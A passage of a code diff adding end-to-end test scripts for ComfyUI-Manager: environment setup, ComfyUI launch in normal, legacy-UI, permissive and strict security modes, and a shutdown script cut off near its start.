||||
venv_dir = root / "venv"
|
||||
if venv_dir.is_dir():
|
||||
log("Step 2/7: venv already exists, skipping")
|
||||
else:
|
||||
log("Step 2/7: Creating virtual environment...")
|
||||
run(["uv", "venv", str(venv_dir)])
|
||||
|
||||
py = venv_python(root)
|
||||
|
||||
# Step 3: Install ComfyUI dependencies (CPU-only)
|
||||
log("Step 3/7: Installing ComfyUI dependencies (CPU-only)...")
|
||||
run([
|
||||
"uv", "pip", "install",
|
||||
"--python", py,
|
||||
"-r", str(comfyui_dir / "requirements.txt"),
|
||||
"--extra-index-url", PYTORCH_CPU_INDEX,
|
||||
])
|
||||
|
||||
# Step 3.5: Ensure pip is available in the venv (Manager needs it for per-pack installs)
|
||||
log("Step 3.5: Ensuring pip is available...")
|
||||
run(["uv", "pip", "install", "--python", py, "pip"])
|
||||
|
||||
# Step 4: Install Manager
|
||||
log("Step 4/7: Installing ComfyUI-Manager...")
|
||||
run(["uv", "pip", "install", "--python", py, str(manager_root)])
|
||||
|
||||
# Step 5: Link manager into custom_nodes
|
||||
log("Step 5/7: Linking Manager into custom_nodes...")
|
||||
custom_nodes = comfyui_dir / "custom_nodes"
|
||||
custom_nodes.mkdir(parents=True, exist_ok=True)
|
||||
link_manager(custom_nodes, manager_root)
|
||||
|
||||
# Step 6: Write config.ini
|
||||
log("Step 6/7: Writing config.ini...")
|
||||
config_dir = comfyui_dir / "user" / "__manager"
|
||||
config_dir.mkdir(parents=True, exist_ok=True)
|
||||
(config_dir / "config.ini").write_text(CONFIG_INI_CONTENT)
|
||||
|
||||
# Step 7: Verify
|
||||
log("Step 7/7: Verifying setup...")
|
||||
errors = 0
|
||||
|
||||
if not (comfyui_dir / "main.py").exists():
|
||||
log(" FAIL: comfyui/main.py not found")
|
||||
errors += 1
|
||||
|
||||
if not os.path.isfile(py):
|
||||
log(f" FAIL: venv python not found at {py}")
|
||||
errors += 1
|
||||
|
||||
link = custom_nodes / "ComfyUI-Manager"
|
||||
if not link.exists():
|
||||
log(f" FAIL: Manager link not found at {link}")
|
||||
errors += 1
|
||||
|
||||
# Check cm-cli is installed
|
||||
cm_cli = venv_bin(root, "cm-cli")
|
||||
if not os.path.isfile(cm_cli):
|
||||
log(f" FAIL: cm-cli not found at {cm_cli}")
|
||||
errors += 1
|
||||
|
||||
if errors:
|
||||
die(f"Verification failed with {errors} error(s)")
|
||||
|
||||
log("Verification OK")
|
||||
|
||||
# Write marker
|
||||
from datetime import datetime
|
||||
(root / ".e2e_setup_complete").write_text(datetime.now().isoformat())
|
||||
|
||||
log("Setup complete.")
|
||||
print(f"E2E_ROOT={root}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Executable
+246
@@ -0,0 +1,246 @@
|
||||
#!/usr/bin/env bash
|
||||
# setup_e2e_env.sh — Automated E2E environment setup for ComfyUI + Manager
|
||||
#
|
||||
# Creates an isolated ComfyUI installation with ComfyUI-Manager for E2E testing.
|
||||
# Idempotent: skips setup if marker file and key artifacts already exist.
|
||||
#
|
||||
# Input env vars:
|
||||
# E2E_ROOT — target directory (default: auto-generated via mktemp)
|
||||
# MANAGER_ROOT — manager repo root (default: auto-detected from script location)
|
||||
# COMFYUI_BRANCH — ComfyUI branch to clone (default: master)
|
||||
# PYTHON — Python executable (default: python3)
|
||||
#
|
||||
# Output (last line of stdout):
|
||||
# E2E_ROOT=/path/to/environment
|
||||
#
|
||||
# Exit: 0=success, 1=failure
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# --- Constants ---
|
||||
COMFYUI_REPO="https://github.com/comfyanonymous/ComfyUI.git"
|
||||
PYTORCH_CPU_INDEX="https://download.pytorch.org/whl/cpu"
|
||||
CONFIG_INI_CONTENT="[default]
|
||||
use_uv = true
|
||||
use_unified_resolver = true
|
||||
file_logging = false"
|
||||
|
||||
# --- Logging helpers ---
|
||||
log() { echo "[setup_e2e] $*"; }
|
||||
err() { echo "[setup_e2e] ERROR: $*" >&2; }
|
||||
die() { err "$@"; exit 1; }
|
||||
|
||||
# --- Detect manager root by walking up from script dir to find pyproject.toml ---
|
||||
detect_manager_root() {
|
||||
local dir
|
||||
dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
while [[ "$dir" != "/" ]]; do
|
||||
if [[ -f "$dir/pyproject.toml" ]]; then
|
||||
echo "$dir"
|
||||
return 0
|
||||
fi
|
||||
dir="$(dirname "$dir")"
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
# --- Validate prerequisites ---
|
||||
validate_prerequisites() {
|
||||
local py="${PYTHON:-python3}"
|
||||
local missing=()
|
||||
|
||||
command -v git >/dev/null 2>&1 || missing+=("git")
|
||||
command -v uv >/dev/null 2>&1 || missing+=("uv")
|
||||
command -v "$py" >/dev/null 2>&1 || missing+=("$py")
|
||||
|
||||
if [[ ${#missing[@]} -gt 0 ]]; then
|
||||
die "Missing prerequisites: ${missing[*]}"
|
||||
fi
|
||||
|
||||
# Verify Python version >= 3.9
|
||||
local py_version
|
||||
py_version=$("$py" -c "import sys; print(f'{sys.version_info.major}.{sys.version_info.minor}')")
|
||||
local major minor
|
||||
major="${py_version%%.*}"
|
||||
minor="${py_version##*.}"
|
||||
if [[ "$major" -lt 3 ]] || { [[ "$major" -eq 3 ]] && [[ "$minor" -lt 9 ]]; }; then
|
||||
die "Python 3.9+ required, found $py_version"
|
||||
fi
|
||||
log "Prerequisites OK (python=$py_version, git=$(git --version | awk '{print $3}'), uv=$(uv --version 2>&1 | awk '{print $2}'))"
|
||||
}
|
||||
|
||||
# --- Check idempotency: skip if already set up ---
|
||||
check_already_setup() {
|
||||
local root="$1"
|
||||
if [[ -f "$root/.e2e_setup_complete" ]] \
|
||||
&& [[ -d "$root/comfyui" ]] \
|
||||
&& [[ -d "$root/venv" ]] \
|
||||
&& [[ -f "$root/comfyui/user/__manager/config.ini" ]] \
|
||||
&& [[ -L "$root/comfyui/custom_nodes/ComfyUI-Manager" ]]; then
|
||||
log "Environment already set up at $root (marker file exists). Skipping."
|
||||
echo "E2E_ROOT=$root"
|
||||
exit 0
|
||||
fi
|
||||
}
|
||||
|
||||
# --- Verify the setup ---
|
||||
verify_setup() {
|
||||
local root="$1"
|
||||
local manager_root="$2"
|
||||
local venv_py="$root/venv/bin/python"
|
||||
local errors=0
|
||||
|
||||
log "Running verification checks..."
|
||||
|
||||
# Check ComfyUI directory
|
||||
if [[ ! -f "$root/comfyui/main.py" ]]; then
|
||||
err "Verification FAIL: comfyui/main.py not found"
|
||||
((errors++))
|
||||
fi
|
||||
|
||||
# Check venv python
|
||||
if [[ ! -x "$venv_py" ]]; then
|
||||
err "Verification FAIL: venv python not executable"
|
||||
((errors++))
|
||||
fi
|
||||
|
||||
# Check symlink
|
||||
local link_target="$root/comfyui/custom_nodes/ComfyUI-Manager"
|
||||
if [[ ! -L "$link_target" ]]; then
|
||||
err "Verification FAIL: symlink $link_target does not exist"
|
||||
((errors++))
|
||||
elif [[ "$(readlink -f "$link_target")" != "$(readlink -f "$manager_root")" ]]; then
|
||||
err "Verification FAIL: symlink target mismatch"
|
||||
((errors++))
|
||||
fi
|
||||
|
||||
# Check config.ini
|
||||
if [[ ! -f "$root/comfyui/user/__manager/config.ini" ]]; then
|
||||
err "Verification FAIL: config.ini not found"
|
||||
((errors++))
|
||||
fi
|
||||
|
||||
# Check Python imports
|
||||
# comfy is a local package inside ComfyUI (not pip-installed), and
|
||||
# comfyui_manager.__init__ imports from comfy — both need PYTHONPATH
|
||||
if ! PYTHONPATH="$root/comfyui" "$venv_py" -c "import comfy" 2>/dev/null; then
|
||||
err "Verification FAIL: 'import comfy' failed"
|
||||
((errors++))
|
||||
fi
|
||||
|
||||
if ! PYTHONPATH="$root/comfyui" "$venv_py" -c "import comfyui_manager" 2>/dev/null; then
|
||||
err "Verification FAIL: 'import comfyui_manager' failed"
|
||||
((errors++))
|
||||
fi
|
||||
|
||||
if [[ "$errors" -gt 0 ]]; then
|
||||
die "Verification failed with $errors error(s)"
|
||||
fi
|
||||
log "Verification OK: all checks passed"
|
||||
}
|
||||
|
||||
# ===== Main =====
|
||||
|
||||
# Resolve MANAGER_ROOT
|
||||
if [[ -z "${MANAGER_ROOT:-}" ]]; then
|
||||
MANAGER_ROOT="$(detect_manager_root)" || die "Cannot detect MANAGER_ROOT. Set it explicitly."
|
||||
fi
|
||||
MANAGER_ROOT="$(cd "$MANAGER_ROOT" && pwd)"
|
||||
log "MANAGER_ROOT=$MANAGER_ROOT"
|
||||
|
||||
# Validate prerequisites
|
||||
validate_prerequisites
|
||||
|
||||
PYTHON="${PYTHON:-python3}"
|
||||
COMFYUI_BRANCH="${COMFYUI_BRANCH:-master}"
|
||||
|
||||
# Create or use E2E_ROOT
|
||||
CREATED_BY_US=false
|
||||
if [[ -z "${E2E_ROOT:-}" ]]; then
|
||||
E2E_ROOT="$(mktemp -d -t e2e_comfyui_XXXXXX)"
|
||||
CREATED_BY_US=true
|
||||
log "Created E2E_ROOT=$E2E_ROOT"
|
||||
else
|
||||
mkdir -p "$E2E_ROOT"
|
||||
log "Using E2E_ROOT=$E2E_ROOT"
|
||||
fi
|
||||
|
||||
# Idempotency check
|
||||
check_already_setup "$E2E_ROOT"
|
||||
|
||||
# Cleanup trap: remove E2E_ROOT on failure only if we created it
|
||||
cleanup_on_failure() {
|
||||
local exit_code=$?
|
||||
if [[ "$exit_code" -ne 0 ]] && [[ "$CREATED_BY_US" == "true" ]]; then
|
||||
err "Setup failed. Cleaning up $E2E_ROOT"
|
||||
rm -rf "$E2E_ROOT"
|
||||
fi
|
||||
}
|
||||
trap cleanup_on_failure EXIT
|
||||
|
||||
# Step 1: Clone ComfyUI
|
||||
log "Step 1/8: Cloning ComfyUI (branch=$COMFYUI_BRANCH)..."
|
||||
if [[ -d "$E2E_ROOT/comfyui/.git" ]]; then
|
||||
log " ComfyUI already cloned, skipping"
|
||||
else
|
||||
git clone --depth=1 --branch "$COMFYUI_BRANCH" "$COMFYUI_REPO" "$E2E_ROOT/comfyui"
|
||||
fi
|
||||
|
||||
# Step 2: Create virtual environment
|
||||
log "Step 2/8: Creating virtual environment..."
|
||||
if [[ -d "$E2E_ROOT/venv" ]]; then
|
||||
log " venv already exists, skipping"
|
||||
else
|
||||
uv venv "$E2E_ROOT/venv"
|
||||
fi
|
||||
VENV_PY="$E2E_ROOT/venv/bin/python"
|
||||
|
||||
# Step 3: Install ComfyUI dependencies
|
||||
log "Step 3/8: Installing ComfyUI dependencies (CPU-only)..."
|
||||
uv pip install \
|
||||
--python "$VENV_PY" \
|
||||
-r "$E2E_ROOT/comfyui/requirements.txt" \
|
||||
--extra-index-url "$PYTORCH_CPU_INDEX"
|
||||
|
||||
# Step 4: Install ComfyUI-Manager (editable — venv tracks workspace edits)
|
||||
# Editable install prevents silent drift between the workspace source and the
|
||||
# installed package: any change to comfyui_manager/** is visible to E2E
|
||||
# immediately without re-running this script. The 2026-04-18 junk_value-rejection
|
||||
# regression (surfaced in WI-E/WI-G, root-caused in WI-I) was masked for weeks by
|
||||
# a non-editable snapshot — this flag closes that failure mode.
|
||||
log "Step 4/8: Installing ComfyUI-Manager (editable)..."
|
||||
uv pip install --python "$VENV_PY" -e "$MANAGER_ROOT"
|
||||
|
||||
# Step 5: Create symlink for custom_nodes discovery
|
||||
log "Step 5/8: Creating custom_nodes symlink..."
|
||||
mkdir -p "$E2E_ROOT/comfyui/custom_nodes"
|
||||
local_link="$E2E_ROOT/comfyui/custom_nodes/ComfyUI-Manager"
|
||||
if [[ -L "$local_link" ]]; then
|
||||
log " Symlink already exists, updating"
|
||||
rm -f "$local_link"
|
||||
fi
|
||||
ln -s "$MANAGER_ROOT" "$local_link"
|
||||
|
||||
# Step 6: Write config.ini to correct path
|
||||
log "Step 6/8: Writing config.ini..."
|
||||
mkdir -p "$E2E_ROOT/comfyui/user/__manager"
|
||||
echo "$CONFIG_INI_CONTENT" > "$E2E_ROOT/comfyui/user/__manager/config.ini"
|
||||
|
||||
# Step 7: Create HOME isolation directories
|
||||
log "Step 7/8: Creating HOME isolation directories..."
|
||||
mkdir -p "$E2E_ROOT/home/.config"
|
||||
mkdir -p "$E2E_ROOT/home/.local/share"
|
||||
mkdir -p "$E2E_ROOT/logs"
|
||||
|
||||
# Step 8: Verify setup
|
||||
log "Step 8/8: Verifying setup..."
|
||||
verify_setup "$E2E_ROOT" "$MANAGER_ROOT"
|
||||
|
||||
# Write marker file
|
||||
date -Iseconds > "$E2E_ROOT/.e2e_setup_complete"
|
||||
|
||||
# Clear the EXIT trap since setup succeeded
|
||||
trap - EXIT
|
||||
|
||||
log "Setup complete."
|
||||
echo "E2E_ROOT=$E2E_ROOT"
|
||||
Executable
+157
@@ -0,0 +1,157 @@
|
||||
#!/usr/bin/env bash
|
||||
# start_comfyui.sh — Foreground-blocking ComfyUI launcher for E2E tests
|
||||
#
|
||||
# Starts ComfyUI in the background, then blocks the foreground until the server
|
||||
# is ready (or timeout). This makes it safe to call from subprocess.run() or
|
||||
# Claude's Bash tool — the call returns only when ComfyUI is accepting requests.
|
||||
#
|
||||
# Input env vars:
|
||||
# E2E_ROOT — (required) path to E2E environment from setup_e2e_env.sh
|
||||
# PORT — ComfyUI listen port (default: 8199)
|
||||
# TIMEOUT — max seconds to wait for readiness (default: 120)
|
||||
# ENABLE_LEGACY_UI — if set to "1"/"true"/"yes", add --enable-manager-legacy-ui
|
||||
# (for Playwright legacy-UI tests; pytest suites should
|
||||
# leave this unset because glob and legacy manager_server
|
||||
# modules are mutex-loaded and several pytest suites hit
|
||||
# glob-only v2 endpoints such as /v2/manager/queue/task).
|
||||
# The convenience wrapper start_comfyui_legacy.sh sets it.
|
||||
#
|
||||
# Output (last line on success):
|
||||
# COMFYUI_PID=<pid> PORT=<port>
|
||||
#
|
||||
# Exit: 0=ready, 1=timeout/failure
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# --- Defaults ---
|
||||
PORT="${PORT:-8199}"
|
||||
TIMEOUT="${TIMEOUT:-120}"
|
||||
|
||||
# --- Logging helpers ---
|
||||
log() { echo "[start_comfyui] $*"; }
|
||||
err() { echo "[start_comfyui] ERROR: $*" >&2; }
|
||||
die() { err "$@"; exit 1; }
|
||||
|
||||
# --- Validate environment ---
|
||||
[[ -n "${E2E_ROOT:-}" ]] || die "E2E_ROOT is not set"
|
||||
[[ -d "$E2E_ROOT/comfyui" ]] || die "ComfyUI not found at $E2E_ROOT/comfyui"
|
||||
[[ -x "$E2E_ROOT/venv/bin/python" ]] || die "venv python not found at $E2E_ROOT/venv/bin/python"
|
||||
[[ -f "$E2E_ROOT/.e2e_setup_complete" ]] || die "Setup marker not found. Run setup_e2e_env.sh first."
|
||||
|
||||
PY="$E2E_ROOT/venv/bin/python"
|
||||
COMFY_DIR="$E2E_ROOT/comfyui"
|
||||
LOG_DIR="$E2E_ROOT/logs"
|
||||
LOG_FILE="$LOG_DIR/comfyui.log"
|
||||
# Port-namespaced PID file — prevents concurrent tests on different ports
|
||||
# (e.g., teammate running pytest on 8199 while Playwright runs on 8200)
|
||||
# from overwriting each other's PID, which would cause stop_comfyui.sh to
|
||||
# kill the wrong process (observed in WI-CC: 8200 stop killed 8199 PID 2979469).
|
||||
PID_FILE="$LOG_DIR/comfyui.${PORT}.pid"
|
||||
|
||||
mkdir -p "$LOG_DIR"
|
||||
|
||||
# --- Check/clear port ---
|
||||
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
|
||||
log "Port $PORT is in use. Attempting to stop existing process..."
|
||||
# Try to read existing PID file
|
||||
if [[ -f "$PID_FILE" ]]; then
|
||||
OLD_PID="$(cat "$PID_FILE")"
|
||||
if kill -0 "$OLD_PID" 2>/dev/null; then
|
||||
kill "$OLD_PID" 2>/dev/null || true
|
||||
sleep 2
|
||||
fi
|
||||
fi
|
||||
# Fallback: kill by port pattern
|
||||
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
|
||||
pkill -f "main\\.py.*--port $PORT" 2>/dev/null || true
|
||||
sleep 2
|
||||
fi
|
||||
# Final check
|
||||
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
|
||||
die "Port $PORT is still in use after cleanup attempt"
|
||||
fi
|
||||
log "Port $PORT cleared."
|
||||
fi
|
||||
|
||||
# --- Start ComfyUI ---
|
||||
log "Starting ComfyUI on port $PORT..."
|
||||
|
||||
# Create empty log file (ensures tail -f works from the start)
|
||||
: > "$LOG_FILE"
|
||||
|
||||
# Assemble manager flags. ENABLE_LEGACY_UI toggles --enable-manager-legacy-ui
|
||||
# without forcing every caller to care — pytest leaves it unset (glob mode),
|
||||
# start_comfyui_legacy.sh sets it (legacy UI mode).
|
||||
MANAGER_FLAGS=(--enable-manager)
|
||||
case "${ENABLE_LEGACY_UI:-}" in
|
||||
1|true|TRUE|yes|YES)
|
||||
MANAGER_FLAGS+=(--enable-manager-legacy-ui)
|
||||
log "Legacy UI enabled via ENABLE_LEGACY_UI=${ENABLE_LEGACY_UI}"
|
||||
;;
|
||||
esac
|
||||
|
||||
# Launch with unbuffered Python output so log lines appear immediately.
|
||||
# COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1 is the WI-WW safety belt:
|
||||
# any install/update/reinstall path that would normally run
|
||||
# `pip install -r manager_requirements.txt` becomes a no-op log line.
|
||||
# Essential for WI-YY real-E2E tests that trigger install/update flows
|
||||
# — without it, a real update_comfyui task could run unbounded pip
|
||||
# installs on the test venv.
|
||||
PYTHONUNBUFFERED=1 \
|
||||
HOME="$E2E_ROOT/home" \
|
||||
COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1 \
|
||||
nohup "$PY" "$COMFY_DIR/main.py" \
|
||||
--cpu \
|
||||
"${MANAGER_FLAGS[@]}" \
|
||||
--port "$PORT" \
|
||||
> "$LOG_FILE" 2>&1 &
|
||||
COMFYUI_PID=$!
|
||||
|
||||
echo "$COMFYUI_PID" > "$PID_FILE"
|
||||
log "ComfyUI PID=$COMFYUI_PID, log=$LOG_FILE"
|
||||
|
||||
# Verify process didn't crash immediately
|
||||
sleep 1
|
||||
if ! kill -0 "$COMFYUI_PID" 2>/dev/null; then
|
||||
err "ComfyUI process died immediately. Last 30 lines of log:"
|
||||
tail -n 30 "$LOG_FILE" >&2
|
||||
rm -f "$PID_FILE"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# --- Block until ready ---
|
||||
# tail -n +1 -f: read from file start AND follow new content (no race condition)
|
||||
# grep -q -m1: exit on first match → tail gets SIGPIPE → pipeline ends
|
||||
# timeout: kill the pipeline after TIMEOUT seconds
|
||||
log "Waiting up to ${TIMEOUT}s for ComfyUI to become ready..."
|
||||
|
||||
if timeout "$TIMEOUT" bash -c \
|
||||
"tail -n +1 -f '$LOG_FILE' 2>/dev/null | grep -q -m1 'To see the GUI'"; then
|
||||
log "ComfyUI startup message detected."
|
||||
else
|
||||
err "Timeout (${TIMEOUT}s) waiting for ComfyUI. Last 30 lines of log:"
|
||||
tail -n 30 "$LOG_FILE" >&2
|
||||
kill "$COMFYUI_PID" 2>/dev/null || true
|
||||
rm -f "$PID_FILE"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Verify process is still alive after readiness detected
|
||||
if ! kill -0 "$COMFYUI_PID" 2>/dev/null; then
|
||||
err "ComfyUI process died after readiness signal. Last 30 lines:"
|
||||
tail -n 30 "$LOG_FILE" >&2
|
||||
rm -f "$PID_FILE"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Optional HTTP health check
|
||||
if command -v curl >/dev/null 2>&1; then
|
||||
if curl -sf "http://127.0.0.1:${PORT}/system_stats" >/dev/null 2>&1; then
|
||||
log "HTTP health check passed (/system_stats)"
|
||||
else
|
||||
log "HTTP health check skipped (endpoint not yet available, but startup message detected)"
|
||||
fi
|
||||
fi
|
||||
|
||||
log "ComfyUI is ready."
|
||||
echo "COMFYUI_PID=$COMFYUI_PID PORT=$PORT"
|
||||
Executable
+27
@@ -0,0 +1,27 @@
|
||||
#!/usr/bin/env bash
|
||||
# start_comfyui_legacy.sh — Thin wrapper that launches ComfyUI in LEGACY UI mode.
|
||||
#
|
||||
# Delegates to start_comfyui.sh with ENABLE_LEGACY_UI=1. The underlying script
|
||||
# translates that into --enable-manager-legacy-ui on main.py, which registers
|
||||
# the legacy Manager dialog frontend and routes POST /v2/manager/queue/* to
|
||||
# the legacy handler module (legacy/manager_server.py).
|
||||
#
|
||||
# Use this wrapper for Playwright legacy-UI tests (tests/playwright/legacy-ui-*).
|
||||
# Do NOT use for pytest suites that hit glob-only v2 endpoints (e.g.
|
||||
# /v2/manager/queue/task), because glob/manager_server and legacy/manager_server
|
||||
# are mutex-loaded — see comfyui_manager/__init__.py::start().
|
||||
#
|
||||
# Input env vars (forwarded to start_comfyui.sh):
|
||||
# E2E_ROOT — required
|
||||
# PORT — default 8199
|
||||
# TIMEOUT — default 120
|
||||
#
|
||||
# Output (last line on success, inherited from start_comfyui.sh):
|
||||
# COMFYUI_PID=<pid> PORT=<port>
|
||||
#
|
||||
# Exit: 0=ready, 1=timeout/failure
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
exec env ENABLE_LEGACY_UI=1 bash "$SCRIPT_DIR/start_comfyui.sh" "$@"
|
||||
+86
@@ -0,0 +1,86 @@
|
||||
#!/usr/bin/env bash
|
||||
# start_comfyui_permissive.sh — Launch ComfyUI in PERMISSIVE security mode
|
||||
# for WI-YY real-E2E tests of `high+` gated endpoints.
|
||||
#
|
||||
# Patches `security_level = normal-` into the manager config.ini before
|
||||
# launching (with backup of original value), then delegates to
|
||||
# start_comfyui.sh with ENABLE_LEGACY_UI=1 (wi-037 and wi-038 are
|
||||
# legacy-only routes). The corresponding stop_comfyui.sh teardown should
|
||||
# be paired with restore_config() inside the pytest fixture — this
|
||||
# script does NOT restore on its own, so fixture teardown MUST cleanup.
|
||||
#
|
||||
# Why permissive mode is needed:
|
||||
# - wi-014 POST /v2/comfyui_manager/comfyui_switch_version checks
|
||||
# is_allowed_security_level('high+'): at is_local_mode=True
|
||||
# (127.0.0.1 listen) the gate requires security_level ∈ {weak,
|
||||
# normal-}. Default `security_level = normal` fails (403).
|
||||
# - wi-037 POST /v2/customnode/install/git_url and
|
||||
# wi-038 POST /v2/customnode/install/pip are gated by the dedicated
|
||||
# config.ini flags `allow_git_url_install` / `allow_pip_install`
|
||||
# (goal265 / #2962) — independent of security_level, default false
|
||||
# (403).
|
||||
# Patching security_level = normal- plus both flags = true allows real
|
||||
# E2E execution of these endpoints with fixed, trusted inputs (never
|
||||
# test-input-derived URLs).
|
||||
#
|
||||
# SECURITY NOTE:
|
||||
# The endpoints are gated at high+ because they execute arbitrary remote
|
||||
# code (git clone / pip install / version switch). This harness opens
|
||||
# the gate ONLY in the E2E sandbox with HARDCODED trusted inputs
|
||||
# (ComfyUI_examples repo; text-unidecode package). Never use with
|
||||
# user-input-derived inputs — the 403 contract at default security is
|
||||
# the positive-path security behavior we want to preserve in production.
|
||||
#
|
||||
# Input env vars (forwarded to start_comfyui.sh):
|
||||
# E2E_ROOT — required
|
||||
# PORT — default 8199
|
||||
# TIMEOUT — default 120
|
||||
#
|
||||
# Output (last line on success, inherited from start_comfyui.sh):
|
||||
# COMFYUI_PID=<pid> PORT=<port>
|
||||
#
|
||||
# Exit: 0=ready, 1=timeout/failure
|
||||
#
|
||||
# Side effect: $E2E_ROOT/comfyui/user/__manager/config.ini gets
|
||||
# `security_level = normal-`, `allow_git_url_install = true` and
|
||||
# `allow_pip_install = true`. The original config is preserved at
|
||||
# config.ini.before-permissive for the fixture to restore on teardown.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
|
||||
[[ -n "${E2E_ROOT:-}" ]] || { echo "[start_comfyui_permissive] ERROR: E2E_ROOT is not set" >&2; exit 1; }
|
||||
|
||||
CONFIG="$E2E_ROOT/comfyui/user/__manager/config.ini"
|
||||
BACKUP="$CONFIG.before-permissive"
|
||||
|
||||
[[ -f "$CONFIG" ]] || { echo "[start_comfyui_permissive] ERROR: config not found at $CONFIG" >&2; exit 1; }
|
||||
|
||||
# Preserve original config so the fixture can restore it on teardown.
|
||||
# If a previous run left a backup, do NOT overwrite.
|
||||
if [[ ! -f "$BACKUP" ]]; then
|
||||
cp "$CONFIG" "$BACKUP"
|
||||
echo "[start_comfyui_permissive] Backed up original config to $BACKUP"
|
||||
fi
|
||||
|
||||
# Patch security_level to normal- (idempotent).
|
||||
if grep -qE '^security_level\s*=' "$CONFIG"; then
|
||||
sed -i -E 's/^security_level\s*=.*/security_level = normal-/' "$CONFIG"
|
||||
else
|
||||
sed -i -E '/^\[default\]/a security_level = normal-' "$CONFIG"
|
||||
fi
|
||||
echo "[start_comfyui_permissive] Patched security_level = normal- in $CONFIG"
|
||||
|
||||
# Patch the dedicated install flags (goal265 / #2962): install/git_url and
|
||||
# install/pip are gated by these flags instead of security_level (idempotent).
|
||||
for flag in allow_git_url_install allow_pip_install; do
|
||||
if grep -qE "^${flag}\s*=" "$CONFIG"; then
|
||||
sed -i -E "s/^${flag}\s*=.*/${flag} = true/" "$CONFIG"
|
||||
else
|
||||
sed -i -E "/^\[default\]/a ${flag} = true" "$CONFIG"
|
||||
fi
|
||||
done
|
||||
echo "[start_comfyui_permissive] Patched allow_git_url_install/allow_pip_install = true in $CONFIG"
|
||||
|
||||
exec env ENABLE_LEGACY_UI=1 bash "$SCRIPT_DIR/start_comfyui.sh" "$@"
|
||||
Executable
+66
@@ -0,0 +1,66 @@
|
||||
#!/usr/bin/env bash
|
||||
# start_comfyui_strict.sh — Launch ComfyUI in STRICT security mode for SECGATE tests.
|
||||
#
|
||||
# Patches `security_level = strong` into the manager config.ini before launching
|
||||
# (with backup of original value), then delegates to start_comfyui.sh. The
|
||||
# corresponding stop_comfyui.sh teardown should be paired with restore_config()
|
||||
# inside the pytest fixture (this script does NOT restore on its own — restore
|
||||
# happens at fixture teardown to keep this wrapper symmetric with
|
||||
# start_comfyui_legacy.sh).
|
||||
#
|
||||
# Why strict mode is needed:
|
||||
# Several state-changing endpoints (snapshot/remove [middle], snapshot/restore
|
||||
# [middle+], reboot [middle], queue/update_all [middle+]) check
|
||||
# is_allowed_security_level(<gate>). At the default `security_level = normal`
|
||||
# (and is_local_mode = True since we listen on 127.0.0.1), middle and middle+
|
||||
# operations are ALLOWED — so the 403 path is unreachable. Setting
|
||||
# security_level = strong puts NORMAL out of the allowed sets and makes the
|
||||
# 403 contract observable.
|
||||
#
|
||||
# At-or-below `normal` configurations cannot test the 403 path for these gates;
|
||||
# `strong` is required.
|
||||
#
|
||||
# Input env vars (forwarded to start_comfyui.sh):
|
||||
# E2E_ROOT — required
|
||||
# PORT — default 8199
|
||||
# TIMEOUT — default 120
|
||||
#
|
||||
# Output (last line on success, inherited from start_comfyui.sh):
|
||||
# COMFYUI_PID=<pid> PORT=<port>
|
||||
#
|
||||
# Exit: 0=ready, 1=timeout/failure
|
||||
#
|
||||
# Side effect: $E2E_ROOT/comfyui/user/__manager/config.ini gets
|
||||
# `security_level = strong`. The original value is preserved at
|
||||
# config.ini.before-strict for the fixture to restore on teardown.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
|
||||
[[ -n "${E2E_ROOT:-}" ]] || { echo "[start_comfyui_strict] ERROR: E2E_ROOT is not set" >&2; exit 1; }
|
||||
|
||||
CONFIG="$E2E_ROOT/comfyui/user/__manager/config.ini"
|
||||
BACKUP="$CONFIG.before-strict"
|
||||
|
||||
[[ -f "$CONFIG" ]] || { echo "[start_comfyui_strict] ERROR: config not found at $CONFIG" >&2; exit 1; }
|
||||
|
||||
# Preserve original config so the fixture can restore it on teardown.
|
||||
# If a previous run left a backup, do NOT overwrite (preserves the *true*
|
||||
# pre-strict baseline across crashed test runs).
|
||||
if [[ ! -f "$BACKUP" ]]; then
|
||||
cp "$CONFIG" "$BACKUP"
|
||||
echo "[start_comfyui_strict] Backed up original config to $BACKUP"
|
||||
fi
|
||||
|
||||
# Patch security_level to strong (idempotent — works whether the line is
|
||||
# already `strong`, `normal`, or any other value).
|
||||
if grep -qE '^security_level\s*=' "$CONFIG"; then
|
||||
sed -i -E 's/^security_level\s*=.*/security_level = strong/' "$CONFIG"
|
||||
else
|
||||
# security_level missing entirely (unusual) — append under [default]
|
||||
sed -i -E '/^\[default\]/a security_level = strong' "$CONFIG"
|
||||
fi
|
||||
echo "[start_comfyui_strict] Patched security_level = strong in $CONFIG"
|
||||
|
||||
exec bash "$SCRIPT_DIR/start_comfyui.sh" "$@"
|
||||
Executable
+83
@@ -0,0 +1,83 @@
|
||||
#!/usr/bin/env bash
|
||||
# stop_comfyui.sh — Graceful ComfyUI shutdown for E2E tests
|
||||
#
|
||||
# Stops a ComfyUI process previously started by start_comfyui.sh.
|
||||
# Uses SIGTERM first, then SIGKILL after a grace period.
|
||||
#
|
||||
# Input env vars:
|
||||
# E2E_ROOT — (required) path to E2E environment
|
||||
# PORT — ComfyUI port for fallback pkill (default: 8199)
|
||||
#
|
||||
# Exit: 0=stopped, 1=failed
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
PORT="${PORT:-8199}"
|
||||
GRACE_PERIOD=10
|
||||
|
||||
# --- Logging helpers ---
|
||||
log() { echo "[stop_comfyui] $*"; }
|
||||
err() { echo "[stop_comfyui] ERROR: $*" >&2; }
|
||||
die() { err "$@"; exit 1; }
|
